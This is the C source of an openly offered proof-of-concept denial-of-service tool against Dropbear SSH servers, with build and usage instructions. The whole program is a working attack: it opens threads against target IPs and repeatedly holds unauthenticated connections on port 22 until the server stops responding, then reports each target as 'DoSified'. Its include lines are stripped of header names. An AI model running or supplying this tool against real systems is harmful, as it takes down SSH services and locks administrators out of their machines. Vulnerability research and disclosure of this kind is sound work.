/** * dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server * * Author: Pablo Fernandez * * gcc dropbear-PoC.c -o dropbear-PoC -lpthread * ./dropbear-PoC -v 192.168.0.1 * **/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * ***************************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #define MAX_SOCKS 0xfff #define PORT 22 #define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */ struct data { int max_unauth_clients; int port; int verbose; char *host; }; void show_help (const char *name) { fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n" "\n" "Options:\n" "\t--help, -h - This help\n" "\t--port, -p [PORT] - Port to connect to (defaults to %d)\n" "\t--verbose, -v - Verbose level (can be used multiple times)\n" "\n" "Note that hosts should be specified using IP addresses, not hostnames\n", name, PORT); exit(1); } void *DoS (void *data) { struct data *d; struct sockaddr_in sa; int sock; int killed = 0; struct pollfd fd; struct timeval tv = { .tv_sec = 5, .tv_usec = 0 }; int retval; int i = 0; d = (struct data*) data; if (d->verbose > 1) printf("[*] Target: %s\n", d->host); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(d->host); sa.sin_port = htons(d->port); while (1) { if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { fprintf(stderr, "[!] Unable to create socket\n"); break; } if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) { fprintf(stderr, "[!] %s: Unable to connect\n", d->host); break; } memset(&fd, 0, sizeof(struct pollfd)); fd.fd = sock; fd.events = POLLIN; if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) { perror("poll"); return NULL; } if (fd.revents & POLLIN) { char buf[512]; memset(buf, 0, sizeof(buf)); read(sock, &buf, sizeof(buf)); if (buf[0] != 0) { if (killed) { if (d->verbose > 0) printf("[!] %s is back up\n", d->host); } else if (d->verbose > 1) printf("[+] %s: connected %2d, %d\n", d->host, i++, fd.revents); killed = 0; } else goto err; } else if (fd.revents & (POLLERR | POLLHUP)) { err: if (!killed && d->verbose > 0) printf("[+] %s has been DoSified\n", d->host); killed = 1; } if (killed) sleep(5); } return NULL; } int main (int argc, char **argv) { int port = PORT; int verbose = 0; int opt; char *host; pthread_t *threads = NULL; int targets = 0; int i; struct data *d; printf("\n"); printf("DropBear SSH Server DoS PoC\n"); printf(" -- by Pablo Fernandez \n\n"); while (1) { static struct option options[] = { { "help", 0, 0, 'h' }, { "port", 1, 0, 'p' }, { "verbose", 0, 0, 'v' }, { 0, 0, 0, 0 } }; int a; if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0) break; switch (opt) { default: case 'h': show_help(argv[0]); break; case 'p': port = atoi(optarg); break; case 'v': verbose++; break; } } if (optind >= argc) { fprintf(stderr, "\nError: Host not specified\n\n"); show_help(argv[0]); return 0; } targets = argc - optind; if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) { perror("malloc"); return 1; } if (verbose > 2) printf("[*] %d targets\n", targets); for (i = 0; optind < argc; i++) { host = argv[optind++]; d = (struct data*) malloc(sizeof(struct data)); d->port = port; d->verbose = verbose; d->host = strdup(host); pthread_create(&(threads[i]), NULL, DoS, d); } for (i = 0; i < targets; i++) { pthread_join(threads[i], NULL); } return 0; }